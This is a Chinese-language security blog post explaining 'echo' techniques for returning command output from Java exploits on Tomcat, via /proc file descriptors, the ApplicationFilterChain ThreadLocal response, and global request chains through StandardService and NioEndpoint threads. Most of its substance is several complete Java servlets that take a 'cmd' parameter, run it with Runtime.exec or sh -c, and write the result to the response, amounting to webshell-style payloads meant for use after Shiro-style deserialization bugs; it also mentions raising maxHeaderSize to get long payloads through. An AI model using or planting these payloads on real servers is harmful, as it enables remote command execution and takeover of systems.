Java回显技术
通过文件描述符回显
该回显方法是基于proc/self/fd/i
的攻击
分析
在Linux环境下,可以通过文件描述符proc/self/fd/i
获取到网络连接,在Java中我们可以直接通过文件描述符获取到一个Stream对象,对当前网络进行读写操作,可以釜底抽薪在根源上解决回显问题。简单来说就是利用linux文件描述符实现漏洞回显
如果我们获取到了当前请求对应进程的文件描述符,如果向输出描述符中写入内容,那么就会在回显中显示,从原理上可行,但是我们该如何获得本次请求描述符
解决这个问题就要思考在一次连接请求过程中有什么特殊的东西可通过代码识别出来,从而筛选出对应的请求信息。那么这个特殊的标识应该就是,客户端的访问ip地址了。
我们可以看到,在proc/net/tcp6
中存储了大量连接请求

local_address 是服务端的地址和连接端口,remote_address 是远程机器的地址和端口,因此我们可以通过 remote_address 字段筛选出需要的 inode 号。这里的 inode 号会在 /proc/xx/fd/
中的 socket 一一对应
去到 proc/{进程号}/fd
文件夹下,执行 ll 命令

有了这个对应关系,我们就可以在 /proc/xx/fd/
目录中筛选出对应inode号的socket,从而获取了文件描述符。整体思路如下:
- 通过 client ip 在
/proc/net/tcp6(/proc/net/tcp)
文件中筛选出对应的 inode 号
- 通过 inode 号在
/proc/{进程号}/fd/
中筛选出fd号
- 创建 FileDescriptor 对象
- 执行命令并向 FileDescriptor 对象输出命令执行结果
Tomcat半通用回显
如果在Java代码执行时,能获取到response对象,则可以直接向response对象中写入命令执行的结果,从而实现回显。因此我们目的就是找到一个可以利用的response对象,思路如下
- 通过翻阅函数调用栈寻找存储response的类
- 最好是一个静态变量,这样就不需要去获取实例
- 使用ThreadLoaca保存response,获取到当前线程的请求信息
- 修复原有输出,防止报错
分析
为了通用性,我们最好找到一个tomcat中存储着response的类,顺着堆栈一直往回找

从HTTP请求的入口开始往后,request和response几乎就是一路传递,且在内存中均为同一个变量(后面会将初始的req和res封装到了新的req和res中)

这样就代表着,我们只需要获取其中一个类中的response实例即可
根据上述思路,我们找到了ApplicationFilterChain
对象中 静态的ThreadLocal
保存的Response
类型的属性lastServicedResponse

这里的静态代码块在初始时,已经把lastServiceResponse设置为null(WRAP_SAME_OBJECT
默认为false)

这里的internalDoFilter
方法将当前request和response对象赋值给lastServiceRequest和lastServiced对象的操作,但是需要ApplicationDispatcher.WRAP_SAME_OBJECT
的值为true,同时需要两个对象为ThreadLocal
类

因此这里需要有两个操作
- 反射修改
ApplicationDispatcher.WRAP_SAME_OBJECT
值为true,走到if判断中
- 初始化lastServicedRequest和lastServicedResponse变量为
ThreadLocal
类,默认为null
getWriter重复使用报错
在使用response的getWriter函数时,usingWriter变量会被设置为true。如果在该请求中usingWriter变成了true,那么后面重复使用getWriter方法时就会报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public PrintWriter getWriter() throws IOException { PrintWriter writer = this.response.getWriter(); if (this.isFinished()) { this.response.setSuspended(true); }
return writer; }
public PrintWriter getWriter() throws IOException { if (this.usingOutputStream) { throw new IllegalStateException(sm.getString("coyoteResponse.getWriter.ise")); } else { if (ENFORCE_ENCODING_IN_GET_WRITER) { this.setCharacterEncoding(this.getCharacterEncoding()); }
this.usingWriter = true; this.outputBuffer.checkConverter(); if (this.writer == null) { this.writer = new CoyoteWriter(this.outputBuffer); }
return this.writer; } }
|
报错如下:getWriter已经被调用过一次
1
| java.lang.IllegalStateException: getWriter() has already been called for this response
|
这里就有两种解决方法:
- 在调用完
getWriter
后反射修改usingWriter的值为false
- 使用
getOutputStream
代替
实现
实现如下,需要访问两次,第一次为设置ApplicationDispathcer.WRAP_SAME_OBJECT
变量为true以及为lastServicedResponse对象进行初始化为ThreadLocal对象;第二次从lastServicedResponse对象中取出response对象进行操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| package com.echo.demos.web;
import org.apache.catalina.connector.Response; import org.apache.catalina.connector.ResponseFacade; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.ServletResponse; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.util.Scanner;
@Controller public class EvilController {
@RequestMapping("/test") @ResponseBody public String IndexController(String input) throws Exception { try {
Field wrapSameObject = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field modifiers = Field.class.getDeclaredField("modifiers"); modifiers.setAccessible(true); modifiers.setInt(wrapSameObject, wrapSameObject.getModifiers() & ~Modifier.FINAL); wrapSameObject.setAccessible(true); wrapSameObject.set(null,true);
Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse"); modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); lastServicedResponse.setAccessible(true);
Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest"); modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL); lastServicedRequest.setAccessible(true);
ThreadLocal<ServletResponse> servletResponseThreadLocal = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null); if(servletResponseThreadLocal == null) { lastServicedResponse.set(null,new ThreadLocal<>()); lastServicedRequest.set(null,new ThreadLocal<>()); }else if(input!=null){ ServletResponse servletResponse = servletResponseThreadLocal.get(); PrintWriter writer = servletResponse.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response"); responseField.setAccessible(true); Response response = (Response) responseField.get(servletResponse); Field usingWriter = Response.class.getDeclaredField("usingWriter"); usingWriter.setAccessible(true); usingWriter.set((Object) response, Boolean.FALSE);
boolean isLinux = true; if (System.getProperty("os.name").toLowerCase().contains("win")) { isLinux = false; }
String[] cmd = isLinux?new String[]{"sh","-c",input}:new String[]{"cmd.exe","/c",input};
InputStream stream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner(stream).useDelimiter("\\A"); String s = scanner.hasNext() ? scanner.next() : ""; writer.write(s); writer.flush(); } } catch (Exception e) { e.printStackTrace(); } return "OK"; } }
|
大致流程图如下(个人理解,有问题请大佬指出)

局限性
这个方法有一些局限性,如果漏洞在ApplicationFilterChain
进行lastServicedResponse.set(response);
之前触发,就不会将我们的执行结果写入lastServicedResponse当中,那么我们在获取lastServicedResponse之中的response时就无法获取Tomcat Response进行回显
Shiro反序列化漏洞就遇到了这种情况,shiro的rememberMe功能是shiro自己实现的一个filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter(); ... filter.doFilter(request, response, this); } catch (...) ... } } try { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); } if (...){ ... } else { servlet.service(request, response); } } catch (...) { ... } finally { ... }
|
可以看到,首先获取所有Filter对当前请求进行拦截,通过后,再进行lastServicedResponse.set(response);
操作,然后再进行servlet.service(request, response);
rememberMe功能是ShiroFilter的一个模块,在这部分逻辑中执行时,就会触发反序列化漏洞,还没进入到lastServicedResponse.set(response);
的操作中,此时的lastServicedResponse
内容就是空,从而也就获取不到我们想要的response
通过全局存储 Response回显
上述半通用回显,是通过反射修改值,从而改变了Tomcat的流程,使得最终可以在ApplicationFilterChain类的lastServicedResponseField对象中去取到response对象,但是依赖于Tomcat本身代码的处理流程,注入点在写入response之前就不可以了
而现在这种方法是不再寻求改变代码流程,而是找找有没有Tomcat全局存储的request或response
分析
寻找全局Response
我们知道,Tomcat处理HTTP请求的时候流程入口在org.apache.coyote.http11.Http11Processor
类中,该类继承了AbstractProcessor
类
1
| public class Http11Processor extends AbstractProcessor
|
在AbstractProcessor
类中,存在着两个属性request和response,且这两个属性都被final所修饰,说明这个值在赋值之后是无法被修改的

在AbstractProcessor
类的构造函数中,就对request和response赋值了,那么我们只需要获取到Http11Processor
类就可以拿到request和response

但是这里的request和response并不是静态变量,无法直接从类中提取出来,需要从对象里面获取。这时我们就需要去找存储Http11Processor
或Http11Processor.request/response
的变量
往回翻找调用方法,找到AbstractProtcol
的内部类ConnectionHandler#process
中有register(processor);
这么一个操作,用register
方法对Http11Processor
进行操作

跟进到register
方法中,可以看到rp是从Http11Processor
中获取的RequestInfo
类,rp中包含着request对象,而request对象中包含response对象,随后就对rp调用了setGlobalProcessor(global)

跟进setGlobalProcessor(global)
中,可以看到这里把RequestInfo对象注册到了global中,这个global是AbstractProtcol内部类ConnectionHandler的一个属性

那么我们只要获取到global对象就可以获取到里面的response对象了,获取链如下
1
| AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
|
但是该global仍然不是static,因此我们还要找存储AbstractProtocol
类或AbstractProtocol
子类的参数
在调用栈中存在CoyoteAdapter
类,其中connector对象的protocolHandler属性为Http11NioProtocol,http11NioProtocol的handler就是AbstractProtocol$ConnectoinHandler

获取链如下
1
| connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global-->RequestInfo --> req --> response
|
现在最重要的问题就是,该如何去获取这个connector
在Tomcat的启动过程中会创建connector
对象,并且通过addConnector
方法放入connectors
中

跟进到StandardService#addConnector
方法中,该方法将传入的connector对象放到了StandardService
对象的connectors[]数组中

现在获取链就变成了:
1
| StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
|
connectors同样为非静态属性,那么我们就需要获取在Tomcat中已经存在的StandardService对象。
关键
接下来的关键就在于,我们该如何获取StandardService
的对象
我们回顾一下tomcat的架构

Service是Tomcat的最外层对象了,如果再往外就会涉及到Tomcat的类加载机制。Tomcat的类加载机制并不是传统双亲委派机制,因为双亲委派机制不适用于存在多个WebAPP的情况
假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader。
与双亲委派机制相反,Tomcat加载机制为:WebAppClassLoader负责加载本身的目录下的class文件,加载不到时,才会交给CommonClassLoader加载
在SpringBoot项目中,alt+f8 计算看下Thread.currentThread().getContextClassLoader()
中的内容,可以看到再类加载器中,就包含了我们的StandardService
对象。

1
| WebappClassLoader --> resources --> context --> context --> StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
|
在整个调用链中,有些变量可以get
方法获取,对于私有和保护属性的变量我们只能通过反射来获取了
实现
对于不同版本的Tomcat获取方式不同,Tomcat8/9或者更低的版本,可以直接从webappClassLoaderBase.getResources().getContext()
中获取
其实就是response经过了层层的封装,我们需要一层一层的剥开他的心~,对于存在getter方法的使用getter即可,对于私有保护属性的,使用反射获取即可
自写POC
POC如下(自己写的比较杂乱,算是让自己了解一遍流程吧)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| @WebServlet("/index") public class HelloServlet extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) { try{ String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.equals("")) { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); Context standardContext1 = webappClassLoaderBase.getResources().getContext(); ApplicationContext applicationContext = (ApplicationContext) getField(standardContext1, "context"); Service service = (Service) getField(applicationContext, "service"); Connector[] connectors = (Connector[]) getField(service, "connectors"); ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = AbstractProtocol.class.getDeclaredField("handler"); handlerField.setAccessible(true); AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
RequestGroupInfo global = (RequestGroupInfo) handler.getGlobal(); ArrayList<RequestInfo> processors = (ArrayList<RequestInfo>) getField(global, "processors");
Field reqField = RequestInfo.class.getDeclaredField("req"); reqField.setAccessible(true);
for (RequestInfo processor : processors) { Request requestA = (Request) reqField.get(processor); org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) requestA.getNote(1); org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse(); java.io.Writer w = response.getWriter(); Field usingWriter = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter"); usingWriter.setAccessible(true); usingWriter.set(connectorResponse, Boolean.FALSE);
InputStream stream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner(stream).useDelimiter("\\A"); String s = scanner.hasNext() ? scanner.next() : ""; w.write(s); w.flush(); } } }catch (Exception e){ e.printStackTrace(); } }
public <T> Object getField(T obj , String fieldName) throws Exception { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); Object value = declaredField.get(obj); return value; } }
|
拿来主义
相比于其他师傅写的,我的实在是太杂乱了,也可能是因为学的不精吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
|
@WebServlet(urlPatterns = "/servletAttack") public class GlobalContextAttack extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); context.setAccessible(true); org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext) context.get(standardContext); Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); service.setAccessible(true); StandardService standardService = (StandardService) service.get(ApplicationContext); Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors"); connectorsField.setAccessible(true); org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[]) connectorsField.get(standardService); org.apache.coyote.ProtocolHandler protocolHandler = connectors[0].getProtocolHandler(); Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler"); handlerField.setAccessible(true); org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler); Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"); globalField.setAccessible(true); RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler); Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processors.setAccessible(true); java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global); Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); reqField.setAccessible(true); for (RequestInfo requestInfo : RequestInfolist) { org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request )reqField.get(requestInfo); org.apache.catalina.connector.Request connectorRequest = ( org.apache.catalina.connector.Request)coyoteReq.getNote(1); org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse(); java.io.Writer w = response.getWriter(); Field responseField = ResponseFacade.class.getDeclaredField("response"); responseField.setAccessible(true); Field usingWriter = Response.class.getDeclaredField("usingWriter"); usingWriter.setAccessible(true); usingWriter.set(connectorResponse, Boolean.FALSE); w.write("1111"); w.flush(); } } catch (Exception e) { e.printStackTrace(); } } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doPost(request, response); } }
|
Tomcat版本问题
我们上述的回显方式只适用于Tomcat8/9当中,但是有没有一种方式能够通杀呢?
回顾我们的获取链
我们前面做的一些操作,就是为了获取AbstractProtocol$ConnectoinHandler
该类,接下来我们也可以去寻找其他地方,该地方也存储着AbstractProtocol$ConnectoinHandler
1
| WebappClassLoader --> resources --> context --> context --> StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
|
分析
在org.apache.tomcat.util.net.AbstractEndpoint
中的handler是AbstractEndpointHandler
自定义的,同时Handler的实现类是AbstractProtocol$ConnectoinHandler
因为 AbstractEndpoint
是抽象类,抽象类不能被实例化,所以我们去寻找其对应的子类,只要获取到对应的子类后,我们就能获取 handler 中的 AbstractProtocol$ConnectoinHandler
从而进一步获取 request 了
这里我们看到他有四个子类

这里我们来看到 NioEndpoint
类。NioEndpoint
是主要负责接受和处理 socket 的且其中实现了socket请求监听线程Acceptor、socket NIO poller线程、以及请求处理线程池
此时有一下两种方法从Thread.currentThread().getThreadGroup()
获取的线程中遍历找出我们需要的NioEndpoint 对象。
通过Acceptor获取NioEndpoint
遍历线程,获取线程中的target属性,如果该target是Acceptor
类的话则其endpoint属性就是NioEndpoint
对象

利用链如下
1
| Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
|
通过poller获取NioEndpoint
遍历线程,获取线程中的target属性,如果target属性是 NioEndpointPoller
类的话,通过获取其父类 NioEndpoint
,进而获取到 AbstractProtocol$ConnectoinHandler
。

利用链如下
1
| Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
|
实现
上面两种方式大同小异,我们使用第一种方法举例
和我们低版本Tomcat的利用相类似,只是在获取AbstractProtocol$ConnectoinHandler
的方式上有所不同
自写POC
自己写的方式还是太还,思路太不清晰了,还是别的师傅的清晰
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| @WebServlet("/test") public class TomcatServlet extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) { try{ String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.equals("")) {
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field threadsField = ThreadGroup.class.getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(threadGroup);
for(Thread thread:threads) { Field targetField = Thread.class.getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(thread);
if (target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class) { Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint"); endpointField.setAccessible(true); Object endpoint = endpointField.get(target); Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler"); handlerField.setAccessible(true); AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(endpoint);
RequestGroupInfo global = (RequestGroupInfo) handler.getGlobal(); ArrayList<RequestInfo> processors = (ArrayList<RequestInfo>) getField(global, "processors");
Field reqField = RequestInfo.class.getDeclaredField("req"); reqField.setAccessible(true);
for (RequestInfo processor : processors) { Request requestA = (Request) reqField.get(processor); org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) requestA.getNote(1); org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse(); java.io.Writer w = response.getWriter(); Field usingWriter = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter"); usingWriter.setAccessible(true); usingWriter.set(connectorResponse, Boolean.FALSE);
InputStream stream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner(stream).useDelimiter("\\A"); String s = scanner.hasNext() ? scanner.next() : ""; w.write(s); w.flush(); } break; } } } }catch (Exception e){ e.printStackTrace(); } }
public <T> Object getField(T obj , String fieldName) throws Exception { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); Object value = declaredField.get(obj); return value; } }
|
拿来主义
Drunkbaby还是太全能了呜呜呜,对于POC的编写我也得加油了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| @WebServlet("/AllTomcat") public class AllTomcatVersionAttack extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field threadsField = ThreadGroup.class.getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(threadGroup); for(Thread thread:threads) { Field targetField = Thread.class.getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(thread); if( target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class ) { Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint"); endpointField.setAccessible(true); Object endpoint = endpointField.get(target); Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler"); handlerField.setAccessible(true); Object handler = handlerField.get(endpoint); Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"); globalField.setAccessible(true); RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler); Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processors.setAccessible(true); java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global); Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); reqField.setAccessible(true); for (RequestInfo requestInfo : RequestInfolist) { org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request) reqField.get(requestInfo); org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) coyoteReq.getNote(1); org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse(); String cmd = connectorRequest.getParameter("cmd"); String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
java.io.Writer w = response.getWriter(); Field responseField = ResponseFacade.class.getDeclaredField("response"); responseField.setAccessible(true); Field usingWriter = Response.class.getDeclaredField("usingWriter"); usingWriter.setAccessible(true); usingWriter.set(connectorResponse, Boolean.FALSE); w.write(res); w.flush(); } } } } catch (Exception e) { e.printStackTrace(); } } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doPost(request, response); } }
|

不足
利用链太长了,POC超长,可能会存在org.apache.coyote.http11.AbstractHttp11Protocol
的maxHeaderSize的长度限制,可以通过修改maxHeaderSize来绕过限制。操作复杂较为复杂,可能有存在性能问题,整体来讲该方法不受各种配置的影响,通用型较强。